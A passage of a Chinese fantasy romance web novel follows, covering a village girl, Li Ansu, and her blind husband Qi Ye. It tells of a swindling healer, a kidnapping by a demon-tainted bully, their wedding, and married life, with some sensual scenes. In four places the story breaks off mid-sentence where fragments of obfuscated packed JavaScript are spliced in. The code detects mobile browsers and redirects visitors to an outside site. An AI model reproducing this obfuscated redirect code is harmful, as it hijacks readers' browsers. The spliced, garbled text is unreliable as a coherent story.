李安素脸一红,牵着他往外走,路过街边,遇上一个游医,她瞥了眼,上面写着“看病不要钱”。 “喂,小姑娘,别去那医馆啊,到我这儿来看呗,我给你免费!”游医看起来年纪不大,摊子上也简陋。 李安素狐疑地打量他:“你真的会?那你帮他看看,他、他眼睛不好。” 游医点了点头,漫不经心地望向岐晔,瞬间就愣住了。 “这……这是你谁啊?主子?” 李安素拧眉:“你说谁是丫鬟!” 游医低头哂笑:“别生气别生气……我看他白白净净的,就是养尊处优的公子哥儿也未必有这个皮囊呢。” 李安素还没消气,可手却被岐晔牵住,他深沉的声音带着笑意:“她是我娘子,我们成亲了。” 游医视线落在两人交握的手上,男人的手白皙,衬得女孩的手有些暗淡,“得,那这位公子把手伸出来看一下。” “怎么样?”李安素紧张地凑过去,看着岐晔的手腕,也看不出什么东西来。 岐晔面无表情,直到游医收回手,表情依旧凝重。 “你这……看起来不太好办呐……这样,你先买一个这个药丸,直接付账就行。”游医搓了搓下巴,在本子上写了点什么东西。 李安素不太认识,更何况这字奇形怪状的,不过钱倒是认得,“九、九百六十文钱!?你抢钱呐!” 一个小小的药方快一两银子了! “这药都给你,根本就不挣钱!”游医赶紧证明清白,点了点自己的药箱,李安素瞥了眼他那脏兮兮的药。 岐晔的手缓缓收紧,摸到女孩手上乖乖戴着的戒指,“走吧,这是个骗子。” 岐晔的脉象,虽说已经不会像凡人一样,但他眼睛好的就是好的,这游医骗钱呢。 “哎哎哎!”游医站起来,“我给你便宜点,可以谈、可以谈啊!” 李安素脚步一顿,飞快转身,连岐晔都没反应过来。 一刻钟后,两人愉快地拍板了,成交的价格是三百文。 游医擦了擦汗,这小姑娘的钱不好赚呐。 正当李安素提着药和岐晔离开的时候,人群忽然发出一阵骚乱,她远远看见一个白衣姑娘跑出来,脸上都是惊恐。 “救命啊救命啊!”她惊呼着,身后一个凶神恶煞的男人追着,她头上的朱钗都歪斜着,一张脸上尽是恐惧。 人群从两边散开,只有岐晔还站在原地。 “小心!”李安素勉强揽住岐晔,避开来人。 再回头时,游医已经不见了,他站在那男人面前,梗着脖子:“不、不准!这是我的主顾,你怎么能当街抢人呢!” 男人脸上一道长长的疤,手里拎着一把硕大的刀,刀上幽幽升起魔气,珠链晃动发出刺耳声响。 李安素悄悄把岐晔往后拽,“这看起来就不好惹啊……咱们还是别管闲事了……” 她还没转身,那刀疤男就指着那姑娘说:“这是我先看上的,我让她嫁给我,她敢不从?!” 女子登时就哭了出来,游医也怕了,这男人不是凡人,估计是和魔族沾亲带故的,“你你你不要得意!在凡界就要遵守人界的规矩!在人界不能伤人!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406163|184474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“呵、呵呵呵……你算哪根葱?”刀疤男指了指自己,“老子是洪山太子赵卓!老子高兴,把这里人都杀了又如何?” 岐晔手指动了动,洪山太子,下一刻,身边一道声音唤回了他的意识。 李安素一把挥开那赵卓搭在女子肩上的手,怒目圆瞪:“这是凡间,管你什么仙族魔族,滥杀无辜难道就是你的道义?” 洪山是正派道修,这人说自己是洪山真人的亲生儿子,顿时引来一片唏嘘声,李安素启唇说:“洪山名门正派,怎么会有你这样的强盗,我绝不会让你带走这个姑娘!” 李安素说话时候声音都在抖,和赵卓对视,本能地害怕,岐晔缓缓牵着她的手,站在她身边。 “哟,不知道哪里来的臭丫头,敢阻止我。”赵卓挥舞着刀,直接抬起往人群中挥过去,在墙边留下一道火燎痕迹,周围人纷纷退开。 李安素的手被那女子拉住,女子用力摇头:“求求你,你一定要救我,我一定会死的!” 那女子被赵卓用力拉开,整个人被一团黑气笼罩。 “喂!”李安素上前一步想要阻止,却被拉住。 岐晔抿唇,摇头,“别去追,他不好惹。” 只是人魔有别,李安素就算追上去了也做不成什么,她心里清楚,叹了口气,语气不禁带上了埋怨:“不试试怎么知道?我们都是凡人,难道就任由那些魔族强抢民女?” 岐晔抿唇,“这一带魔族横行,应该会有修者见义勇为。” “你说修道的?”李安素讶异了一瞬,“可别了吧,那些正人君子算是没用了,上回连王婶丢的牛都没找回来,还蹭吃蹭喝了一个月。” 她嘟哝着,心里还记着刚才的事情,“不行……我一定要想办法……如果我不是个凡人就好了……” 她正分心着,半点逛街的心情都没了,一回头,一把花出现在眼前,她愣了愣。 花束很新鲜,还带着露珠,扑面而来的花香,花束背后,露出岐晔带着笑意的脸,她心里一动。 “去买嫁衣吧,刚才已经有人去报官了。”岐晔的手搭在她背上顺了顺,“只做个不会任何仙法咒术的凡人不好吗?” 不好。 李安素拧眉,迈着步子走进了裁缝店。 她一眼就相中了一款嫁衣,是金红色的款式,凤凰刺绣在领口交织,纹着她看不懂的鸟兽,一整套很矜贵,她从没见过这么漂亮的衣服。 “换好了?”一走出来,岐晔就凑了过来,他歪着头,“还合身吗?” 李安素低着头,波弄着身上的嫁衣,大红色穿在她身上,将她暖色的皮肤衬得更加朝气,她不自在地扯了扯胸口,“合身……有些紧……” 一旁的老板娘笑着说:“小姑娘,都是要出嫁的人了,穿的紧实些好!你瞧瞧你这好身材哟……” 李安素低下头,更加不敢说话了,何止是合身,嫁衣将她的腰肢紧紧掐出,不大不小的袖口折叠着层层锦绣,她一抬手,那些纹样就仿佛要飞出来。 岐晔以为是不合身:“小了?” 李安素不说话了,扭捏这站在镜子前,恰好老板娘应了声走出了门,里间只剩下他二人。 “也不是小……就是……”李安素犹豫了片刻,话没说完,一只手伸了过来,她屏住呼吸,愣愣地看着不断靠近的男人。 岐晔低下头,手掌轻轻顺着她的腰往上,顺着剪裁合适的金线,缓缓摸到她的后背,李安素连话都不敢说了,紧紧闭着眼。 11. 嫁衣 “不小,也不大,刚刚好。”过了会儿,那股幽香才退去,岐晔认真摸了摸她手上的布料,“很软。” 然而结账的时候她无论如何不让岐晔在旁边,直到男人走出去,她认真摸了摸手里的嫁衣,转而指着墙上挂着的鹅黄色百褶裙,“我要那条裙子。” 走出门,岐晔“看”过来,李安素问她:“买了吗?” “买了,是红色的。”李安素点头,一截鹅黄色的裙摆从袋子里伸出来。 岐晔轻笑着,“喜欢吗?” 李安素轻哼一声,她自己结婚,想穿什么就穿什么。 最重要的是,省下来的钱可以给岐晔治眼睛。 “一会儿想去哪里?”岐晔走在她身边,买来大大小小的东西都被他提在手里,两人并肩,仿佛真是成婚多年的夫妻。 李安素指着远处的一个店铺,回头对他说:“去买一点香吧,你在这里等我。” 岐晔没停下,唇角有些委屈地向下,“为什么总要我等?” 李安素一愣,没明白这话的意思,他已经走到了自己另一边,牵起了自己的手,“我和你一起。” 李安素觉得新奇,明明这些年一直都是一个人,现在突然多了一个陪着自己的,总觉得心里一片细软。 她买了点香,回到家里先把香插在门前的供奉台上,看着供奉台上一个女人的像,抬手擦了擦,才拍了拍裙角站起来。 “去睡一会儿。”岐晔递给她一杯热水,已经入秋了,凉风吹过来有些冷。 李安素被他推到床上坐下来,房间不大,东西也简单,他行动利落方便,不会碰到什么东西,眼睛上的布条倒是有些松了。 “岐晔,你过来一点。”李安素朝他招了招手。 那道颀长的身影顿了顿,转向她的方向,在她面前弯下腰。话音刚落,岐晔感到眼睛上一热,女孩的手从自己的脑袋后面伸出来。 李安素把布条系紧了一些,才满意地点头,“好了。” 这个房子还算宜居,不至于漏风漏雨,住下她和岐晔,刚刚好。 午后的日头落在房间里,床上的人呼吸渐缓,岐晔的身影才缓缓走近,他取下眼睛上的布条。 床上的人闭着眼睛,整个房间沉静如水,些微粉尘在空气中扬起,将光线折射出各种形态,任谁来了都会忍不住一场好眠。 岐晔瞥见床边叠得整整齐齐的“嫁衣”。明黄色的款式很简单,说是嫁衣,其实就是一件常服。 傻姑娘。 镇上,众人围观,只见那赵卓手里的刀被人踢到了地上。 那把刀浑身散发着黑气,冲天的魔气几乎要熏得人流泪,游医用力擦了一把泪水,梗着脖子站在赵卓面前。 “你你你……我不管,你必须放了那姑娘!”游医伸出两根手指,幻化出一道符咒,“我、我这可是化骨符,别说魔族了,就是仙族你也跑不掉!” 赵卓看了眼他手里的符咒,狞笑着,伸出两根手指,直接把赵卓提了起来。顺手把“化骨符”捏碎成了齑粉。 “你你你……” 下一刻,人群从四面八方散开,中央缺口处,走出来一个人,赵卓被人用力提起来,直直摔在地上,在地上摩擦出一道血痕。 “嚇——” 赵卓忽然摔在地上,喉咙里吐出好大一口血,他倒在地上,“你、你是谁!?” 一身白衣的岐晔立在一根树枝上,睥睨着他,原本这种东西他是不想管的,但没办法,今日惹得李安素心情不好了。 “你不用管,我只是代替你父亲教育你。” 赵卓环视一圈,那些围观的人都像是沉睡了一般一动不动,整个空间里安静得出奇,这人竟然直接消耗修为隔开了一道天堑!? 赵卓也不知从哪里来的力量,猛然拔出刀,他已经走火入魔,严格来说不算是神族,“那死老头也配管我的事情!?你又是什么人?” 岐晔没耐心听这些,正要动手直接取了赵卓的命,却见一道身影从远处跑了过来。 “大侠!大侠!”游医眼睛闪烁着崇拜的光,他连忙跪了下来:“求您先不要杀他!这怪物绑架了一个姑娘,他若是死了,那姑娘也危险,求您手下留情。” “你他娘的说谁是怪物!”赵卓愤愤回了句。 岐晔顿了顿,收了架势,“去吧,带路。” 赵卓被一只无形的手提了起来,走在前头,时不时回过头看一眼,岐晔走得慢,却怎么也甩不掉。 “你是什么人?”岐晔开口,看向游医,他对这个人有印象,身上倒也有些灵根。 游医不太好意思地挠了挠头:“行不更名坐不改姓,我叫周正,为人周正的周正,是一个散修。” 话说完,周正看向岐晔,他曾经见过金丹大仙,身上穿的是绫罗绸缎,手上拿的是五灵神器,靠近就能感觉到源源不断的压迫。 但这个……他看不出岐晔有任何法力,内心也就觉得他不是顶厉害的。 “大侠,您要是打不过这个怪物,就躲在我身后,我一定保护您……”周正捂着嘴小声说。 岐晔挑眉,瞥了眼周正,一眼看出这个人的根骨不错,但没有正确的引导,还一大截。 “大侠,您是筑基还是结丹啊?这个怪物怎么看都是元婴啊……” 岐晔拧眉,似乎不知道该如何回答,周正尴尬地擦了擦汗,“您要是打不过,就别逞强了。” 周正从来没有踏入正规修派学习,压根就看不出强弱,不过岐晔还是沉声说了句:“不用担心,他就是个半吊子。” 周正傻眼了,站在原地,看着岐晔缓缓跟上去,眼看着就要走进那怪物的大本营了。 岐晔站在一幢房子,不远处,一道身影走进了房子前,而她身后还跟着几个道士模样的人。 岐晔眯了眯眼,忽然笑了声。 李安素站在房子前,缓缓回过头,却什么都没看见,她缩了缩脖子,赶紧看向身后的几个道士,“几位道长,你们请,你们请,那妖怪就在里面。” 她实在放心不下,又不想岐晔担心,只好装睡偷偷跑出来,出来第一件事情就是找了镇上的道士们。 “什么道长,我们是归元宗的,要叫修者,修者!”一个归元宗弟子甩了下手里的剑,环视一圈,“我们可告诉你,不是百年以上的妖怪我们可不会出动,你给的那点钱,还不够我们来回一趟!” 李安素搓着手,在心里暗骂了好几声畜生,才笑着说:“是是是,要不是遇见了几位,我还不知道要找谁呢,那肯定是要相信归元宗的名门正派。” 她又说:“几位还是赶紧进去降妖除魔吧,那妖怪肯定有百年,说不定还有千年呢!” 躲在暗处的赵卓翻了个白眼,他都快三万年了。 几个修者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406164|184474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对视一眼,几个人站在房中四个角落,手里的长剑闪着寒芒,往空中一划,发出一声霹雳声。 李安素亮了亮眼睛,躲在一旁。 忽然间,屋子里开始刮风,不一会儿,远处还有雷鸣声,李安素立刻鼓掌,她哪里见过这个阵仗! “好厉害!果真不是盖的!” 唯有几个修者面色不对劲了,个个咬着牙,手里的剑细看还在颤抖,他们压根没有呼风唤雨的能力,此处的魔气不断侵蚀他们的阵法。 李安素看着看着,忽然觉得手臂一痛,她捂着躲在一边,还不放心:“几位修、修者?好痛……” 狂风吹过,房间里一片安详的景象化为灰烬,取而代之的是一片荒凉,房子外一片萧瑟,而角落里缩着一个瘦小的女人。 “姑娘!”李安素被吓了一跳,连忙跑过去,“你受了伤……” 女人被吓得已经无法正常回答,迟迟没有任何反应。 “啪!”一道清脆的声音响起,一个修者的剑锋断裂,碎成了粉末,瞬间,所有人的剑都碎了。 一道身影出现在房中的椅子上,赵卓环视一圈,略过那些冠冕堂皇的修者,看向李安素。 他皱起眉头,一个凡人,和岐晔什么关系? “你们是来抓我的?”赵卓拂袖,遮住刚才被岐晔打得青肿的手臂。 “妖怪看招,我们是归元宗弟子,今日就捉拿你!”一个修者握着剑,带着灵力冲上去,被赵卓直接一脚踹在地上。 “你,你过来!”赵卓指着李安素,眼中尽是兴味。 李安素缩了缩脖子,腿霎时间就软了,她慢吞吞走过去,那赵卓松开地上女子的绳子,把李安素扣到了自己面前。 他漫不经心拔了一根李安素的头发,又将人推开。 “行了,小爷不陪你们玩了!”他被岐晔打碎了魂魄,现在要回上界养病了。 几个修者纷纷愣在原地,下一刻,房中卷起一层黄沙,赵卓转眼间就不见了,但院子里的魔气却不减。 除了魔气,还有更多妖气笼罩了上来。 “那妖怪确实走了,但他引来了更多小鬼,你!”一个修者看向李安素,“你去找更多人来!” 李安素扶着椅子站起来,在黄沙之中,坚持着往外跑,却不慎撞到了什么东西,她一抬头,首先就看见了一身白色的男子。 那男人一身白衣,仙气飘飘,气质凛然,下意识接住了她,“跑什么?” 李安素愣了愣,就失望地低下头,她还以为是那位仙人呢。下一刻,一只手从她背后伸过,将她往后一拉。 “手受伤了吗?”岐晔低下头,手捂着她疼痛的小臂。 李安素愣住了:“你怎么来了?” “他带我来的。”岐晔身后探出一个脑袋,是周正的笑脸。 几个修者看见来人,纷纷行礼,“大师兄!” 归元宗首席大弟子,是现在归元宗内修为最高的人,几位化神期的大拿已经闭关修炼,这个大弟子几乎是全宗最有威望的存在,更不用说气质卓然,样貌出众。 “我替几个不成气候的师弟向你道歉,我是沉锦休。”他望着李安素,随后说:“你们往旁边躲一下,我很快解决。” 李安素愣住,被岐晔拉着躲在一边,她连忙挣脱出来:“你眼睛不好,还是我护着你吧。” 岐晔:“……” 12. 拜天地 一股浑厚的剑气瞬间挥开了面前的黄沙,那些妖气无所遁形,在沉锦休的剑诀之下,那些妖气魔气无所遁形。结束后,他微微喘息,看向李安素。 “你一个凡人来这里做什么?” 李安素挠了挠头,僵直行礼:“道长……哦不,修者好!我、我是从村子来的,我这就走……” “叫道长也行。”沉锦休笑了下,温润的声音仿佛春风化雪,“这个你拿去,可以治眼睛。” 他举着那些妖气凝结出的灵丹,又拿出了一枚丹药:“这是归元宗的补气丸,吃下可以破除目障。” 李安素连连摆手:“这怎么好意思!我、我们买不起归元宗的药……” 开玩笑,一枚丹药十两银子,她要是买得起还找大夫干什么。 “是啊师兄,我们没捉到大妖怪,只有些妖气灵丹,还给了她……” 沉锦休:“闭嘴。” 李安素纠结着,身边伸过一只手,接过了沉锦休手里的丹药,“多谢。” 李安素红着脸,瞥了眼面无表情的岐晔,“那我就替我夫君多谢你了……道长改天来我家里吃饭啊,我夫君做饭特别好吃!” 沉锦休嘴角抽了抽,还停留在她那句“夫君”中,他还以为是兄妹关系,不过……看这个男人半张脸已经足够惊艳,若是眼睛好了,还不知道会长得什么样子。 他们不相配。 “那我们就先离开了。”沉锦休笑了下,又嘱咐了一句,“多谢你的善良。” 等人浩浩荡荡的离开,李安素一时间忘记了站在身边的岐晔。直到周正的声音传来。 “我也在这里啊……怎么都不和我说两句话……”周正挠了挠头,“这就是归元宗大弟子,我天,帅呆了!” 李安素无言以对,想起什么:“把我的药钱退给我!我把药还你!” 周正身子一僵,连忙往外跑去,消失在视线中。 * 回到家里,李安素第一时间把丹药送到岐晔嘴里,“快吃!” “不要。”岐晔把药放在桌上,这种灵丹,吃下去会扰乱他的气息,对于修炼却没有多少增益。 下一刻,李安素的手伸过来,用力掰开他的下巴,在岐晔仓皇之中,一颗丹药被送进了肚子。 岐晔简直不可置信,他捂着喉咙,猛烈咳了几声,被蒙着的眼睛委屈垂下。 “怎么这么多事呢,这可是好东西,要不是今天去了,你的眼睛还不知道庸医怎么治呢,我卖一年药材也攒不了这些钱!” 岐晔不太高兴地低下头,喝了点水,“我明日就去附近看看有没有要人的地方。” 李安素看见床上摆着的“嫁衣”,把衣服收进柜子里,“明日别去,你忘记啦,明日是我们成亲的日子。” 岐晔抬起头,眼睛幻化出一圈晶莹的光,他睁开眼。幽幽烛火里,女孩的身影微微晃动,弯腰扫着地上的碎屑,一切都在他的瞳孔中。 “你今日为什么会去那里?”岐晔问。 李安素没回头:“这当然那不能不去啊,那姑娘还在那妖怪手里呢,这六界多的是修者,就不信没一个能制服他的。” “若是天底下都没有呢。” 李安素拧眉:“哎呀怎么可能,降妖除魔的事情你个瞎子多想什么,咱们小老百姓就好好把自己养活得了,难不成你还是什么九五神尊?” 李安素半晌没听见他回应,便不禁担心起来,她洗了洗手,走出来,桌台上的烛火被吹灭。 “哎……?岐晔?那个……你是不是生气了啊,我就是嘴上说说而已……呜!”李安素猛然一颤,腰线被搂住。 那只手半点不老实,顺着她的曲线向上向下,唇瓣撞上来一个坚硬的东西,是岐晔的齿。 她闭着眼睛,也懒得挣扎了,男人的吻这才放轻。辗转反侧,将她吻得意乱情迷。 “搞什么……我还以为你生气了。”李安素小声说。 “生气了,他一直盯着你看。”岐晔贴着她的唇说。 已经神志不清的李安素“嗯”了声,歪着头倒在床上就睡了过去。 成亲这天,他们没有宴请宾客,也没有大张旗鼓,只在门前悬挂了一副鸳鸯窗户,路过的左邻右舍都可以来讨杯酒喝。 不过李安素在村里的名声一向不好,前段时间又闹出了那样的事,前来的人寥寥无几。 李安素穿着那条鹅黄色裙子,头上像模像样簪了朵花,怎么都等不到岐晔回来。她巴巴地望着。 自己这个“骗”来的夫君该不会跑了吧?她转动手上的戒指,被王婶看见了。 “安素,你这戒指挺漂亮啊,还是玉的,很贵吧?”王婶凑上前。 李安素摇头,“您想多了,这就是便宜货。” 见王婶不信,她决定使出绝杀:“这是岐晔的传家宝。” 王婶了然:“那孩子确实可怜。”岐晔的传家宝,那估计确实不值钱,毕竟人都是倒插门来的。 过了会儿,日头渐渐升起来了,人都走了,岐晔还没回来。 李安素望着那远处,远远走来一个人影,她眼睛亮了亮,“夫——君!” 岐晔顿了顿,进门,没像往常一样坐下来,反而把手里的东西放在桌上,“人呢?” 李安素摆了摆手:“他们都走了,就我们两个,吃饭吧。” 岐晔笑了笑,把桌上的袋子推过去:“你看看。” 李安素叼着一块酥饼:“什么啊?”她用两根手指轻轻挑开那袋子口。 一截鲜红色的绸缎跳了出来,冰凉的触感打在李安素手上,她一愣,拍了拍手,把那件衣服从袋里拿出来。 只见鲜红的裙摆长长拖到地上,柔软的绸缎和她身上穿的布料完全是天差地别,她看着,这俨然就是那天在店里试穿的那件。 “这是那件嫁衣,一整套我都买回来了,老板娘说人一生只结一次婚。”岐晔的声音传来。 李安素低下头,转身埋在岐晔肩头,“你别骗了,其实可以和离再嫁的。” 她话刚说完,岐晔打断:“不会,我们只会成亲,下辈子也不会分开。” 如果她会死,那他就去找她的下辈子,只要她的灵魂还在这世间,他想找到简直轻而易举。 李安素却以为他说的是情话:“嗯……好吧,不过你也太败家了,这衣服根本不值得。” 嘴上这样说,她还是去换上了,唇角带着压不下去的弧度,她站在院子里,一身红衣仿佛是被朝阳染上的颜色。 中午,吉时。李安素和岐晔站在院中,庄严肃穆的时刻,李安素忽然说:“你等等!” 她噔噔噔跑进屋子里,拿了一朵红色假花,戴在岐晔胸口,拍了拍:“行了。” 他们拜了天地,李安素就催促着他摘盖头。 岐晔被她牵着手,放在那片薄薄的布料上,缓缓揭那盖头,他动作慢吞吞的,刚一揭开李安素就迫不及待地扑到他怀里。 李安素眼睛亮亮的,明晃晃地映照着岐晔的轮廓,她笑弯了眼睛,“喝酒喝酒!” 李安素高兴得不行,喝了两杯酒,头也晕乎乎的。 岐晔抱她进屋,把人放在床上,李安素推他:“还是白天呢。” 岐晔轻笑一声:“你喝醉了,这明明是晚上。” 李安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李安素脱口而出:“不是,因为你漂亮,眼睛还没好的时候我就知道了,你漂亮,我喜欢。” 岐晔并没有什么反应,不过听到她说“喜欢”的时候笑容缓缓加深了些,他微凉的手捉住她,把人的手放在自己的脸上,“多有喜欢?” 李安素晕乎乎的,屋外的光线忽然被遮住,她眨了眨眼,含住了他近在咫尺的唇瓣。 “唰——” 不断被风吹起的窗帘忽然被拉上,窗外的光线顿时被关在外面,房间内沉闷得透不过气来。浮浮沉沉的仙气从被褥中溢出,她看不见,只觉得浑身像是火烧一样。 李安素还在思考为什么窗帘自动关上了。 岐晔低下头,抵上李安素的额头,两人的呼吸交织在一起,都是李安素贪杯喝的两杯酒气。 她额头滚烫,温度源源不断传到岐晔身上来。 “下次别喝酒了。” “为……为什么,我高兴就想喝两杯。”李安素闭着眼睛。 “下次我不在你身边,不准喝酒。”岐晔手放在她脸上,烫烫的,用来暖手刚刚好。 “为什么……呜……”李安素的声音尽数被他吞没,淹没在这个缠绵的吻之中,她仰着头,被迫回应。 周遭开始升温,早冬的天气,房间内的冷气都被烧开了,李安素的腰被掌控着,她还不怕死地去摸那玩意。 岐晔唇间泄出一丝闷哼,他轻笑着,闭上眼睛,任由自己沉溺在这温香软玉中。 13. 成婚三年 外头白雪呼呼的,岐晔走在林中,前面是怎么都喊不住的李安素。 “不要跟我说你打算去那个学堂教书。”李安素眯起眼睛,再一次回过头看了眼岐晔,“别跟着我。” 岐晔自然不能不跟上去,他抿唇跟在她身边,“生气了?” 李安素心里堵着气。 成婚之后过了三个月,逐渐有些问题凸显了出来。李安素有时候被气得不行了,一回头就看见他笑着站在不远处,任由她怎么打骂,都半分不生气。 比如这一次。 “我不准你去,那学堂里都是些什么人啊,你腿脚又不好,你知不知道村口的赵三,下山的时候摔断了腿!”李安素把竹篮从岐晔手里抢过来。 岐晔:“在哪里摔的?” “就在你每天去学堂要经过的小山坡!现在在下雪你知不知道!”李安素赌气走在前面,身后伸过来一只手,把她牢牢揽在身后。 “你不要动手动脚的……” 岐晔的声音平缓传来:“可是我听见了,有人说我吃软饭的,你也不生气?我想要出去挣钱。” “谁说了!?”李安素瞪大了眼睛,“谁说你吃软饭?我不在乎!” “我在乎。” 这村子里七嘴八舌的人多了,李安素一直在这种声音里,也就忽略了岐晔不是这样的,他听见这种声音心里会不舒服。 趁她不说话,岐晔赶紧贴上去,小声哄道:“你也应该在乎,夫妇一体,我们的名声很重要,让那些七嘴八舌的人都闭上嘴。” 李安素犹豫了,低下头:“但、但为什么一定要去学堂里……那么远。” 岐晔笑了下,知道她不生气了,于是牵着她的手往家里走去,入冬了,过不了多久就是新年了,他提前买了些肉回来。 还没有进门,却看见一道身影站在附近,李安素看清楚了,“张辰溪?你怎么在这里?” 张辰溪原本盯着远处下雪的山峦,听见声音转过身,毫不意外地看见了岐晔,这两人自从成婚后就形影不离。 “感情不错啊,去,给我倒杯水。”张辰溪阴郁的眼睛掠过岐晔看向李安素,他在心里比较,李安素好像圆了点。 李安素犹豫着,岐晔却已经走进了屋子,撩起袖子准备烧水。 李安素让张辰溪坐在院子里,随意拿了个茶杯出来,那茶杯缺了一个口,不过洗得干干净净的。 “你们成婚就住在这种地方?”张辰溪这段时间似乎消瘦了不少,看上去棱角分明,没有从前那股气焰了。 “有什么问题?”李安素没听懂。 张辰溪递过去一个东西:“你要的东西。” 李安素翻过来一看,顿时被吓了一跳:“摊位地契?” 镇上的市场需要这个东西才进得去,那些镇上的人看她一个人住,是个孤女不给办,现在张辰溪却直接送了过来。 “你、你为什么给我?”李安素站起来,狗腿似的拉着岐晔过来,“多谢多谢,我会按照正常价格找你买的。” 岐晔看她高兴坏了,唇角溢出一抹笑。 张辰溪气她看不出他的心思,冷哼一声:“没什么好谢的,你找的这什么男人,连个像样的首饰都不给你买,该不会什么聘礼都没有吧。” 李安素忍着气,“你给我拿了地契我不跟你计较。” 张辰溪离开后,李安素拿着那地契左看右看,怎么觉得心里美极了,她偷偷笑起来。 “去洗手吧,给你炖了排骨汤。”岐晔擦干手,取下腰间的围裙,缓缓坐在李安素面前。 李安素凑过去,捧着岐晔的脸,“你说他怎么突然给我这么好的东西?” 岐晔作样思考:“可能是……你太好了。” “你别逗我了,哎呀,我可真是捡了个大便宜,遇上你之后怎么什么好事都上来了。”李安素捧着岐晔的脸,用力亲了两口。 被人说“便宜”的岐晔也不气恼,任由她揉搓自己的脸,“别停,再亲一下。” 李安素的脸唰地涨得通红,这个夫君什么都好,就是花样太多了,每天也没有停歇,房中的事情她压根没有时间多想。 因为白天过去,又是一天晚上要来了。 一到晚上她就犯怵。 “坐好,低一点,不要弓背。” “再说一遍。” 房中,烛火通明,李安素心疼地望着那蜡烛,看了眼身后的男人,小声说:“能不能吹灯,睡了,今天就这样吧。” 岐晔握着教棍,看了眼天色,还不算太晚,“今天就坚持不下去了?至少先写完这一面。” “我不想学字——!”李安素哀鸣一声,趴在桌上,侧目看着书页上歪歪扭扭的字,那是她写的,而旁边是一排力透纸背的瘦金体。 岐晔知道她从来没上过学堂后就要求她开始看书习字,白天他去书摊上找书,誊抄在纸张上,回来就教李安素。 于是,李安素白天要摘草药,晚上还要补习。 她困得打了个哈欠:“我不要学……” 岐晔拧眉:“有这么难吗,这是你亲口答应下来的。” “你还好意思说!”李安素猛然直起身子,语带控诉,“你、你在那种时候问我要不要读书习字,我能不从吗!?” 烛火下,一身简单素衣的男人靠在门边上,瘦长的身影慵懒矜贵,腰上的衣带没有系紧,露出半块腰上的肌肉。往上是他温和的笑,眼中带着些许兴味。 岐晔什么时候问不好,偏偏把她弄得乱七八糟的时候,忽然问她知不知道“涎玉沫珠”是什么意思,李安素说不知道,他就自作主张教她读书习字了! “狡猾狐狸!”李安素骂了声,见岐晔笑得更得意了,她小声说了句:“最讨厌你了!” 这话一出,岐晔笑容渐渐淡下去,手里的教棍敲在桌上,发出“啪”的一声。男人修长的手指伸出来,一只手就能把李安素的脸盖住。 几不可闻的一声,可怜的烛火被吹灭了,李安素眼前一片黑暗,她被抱着坐在床上、岐晔腿上。 “不可以讨厌我。”岐晔的声音闷闷的,是贴在她胸口说出来的。 * 晨光熹微,穿透旧窗棂的缝隙,在沉静的房中投下几道微尘浮动的光柱。村子里的小屋里,岐晔早已经起身,将那件半旧青衫的褶皱抚平。 穿戴整齐,给自己系了个简单的发带,他折回床边。 李安素还在睡,半张脸压在被褥里,只露出一双眼睛,纤长睫毛在眼皮底下投下一道阴影。 岐晔的手轻轻拉下被褥,露出女子的唇瓣,上面有一点咬痕。他低头,长发扫过床沿,带起一阵微风。 李安素嘟了嘟嘴,又睡了过去。 “我走了,桌上有粥,不要喝冷的,要放到小锅里热一下再喝,嗯?”岐晔的声音平缓,估计只会让人睡得更好。 但是他舍不得吵醒她,小心翼翼避开她散落在枕头和脸颊上的长发,又亲了亲她的脸。 房门吱呀一声打开,又吱呀一声关上。岐晔看向远处的天色,踏着晨曦走向学堂。 半山腰的学堂里,童声稀稀疏疏,学生们远远看见他走近,纷纷相互提醒,回到座位上读书。 岐晔像是不知道,照常和学生打过招呼之后,拿起了手上的旧书,“今天来学《论语》里仁篇,都坐直了,不要弓背。” 这间学堂不大,这些年受镇上的影响,翻新过后慢慢热闹了起来,学生越来越多,但教书先生却始终不多。 岐晔就是其中一个。他教书风格常年不变,并不十分有趣,还很严厉。 学堂里许多学生都怕他,比如现在。 “怎么,背不出来吗?昨天不是布置了功课?”岐晔放下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422196|184474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书本,扫视一圈战战兢兢的学生,一看就是没准备。 岐晔摇了摇头,这群凡人孩子,个个天性爱玩。他曾给天上的神仙后代上课,不过那已经是很久以前的事了。 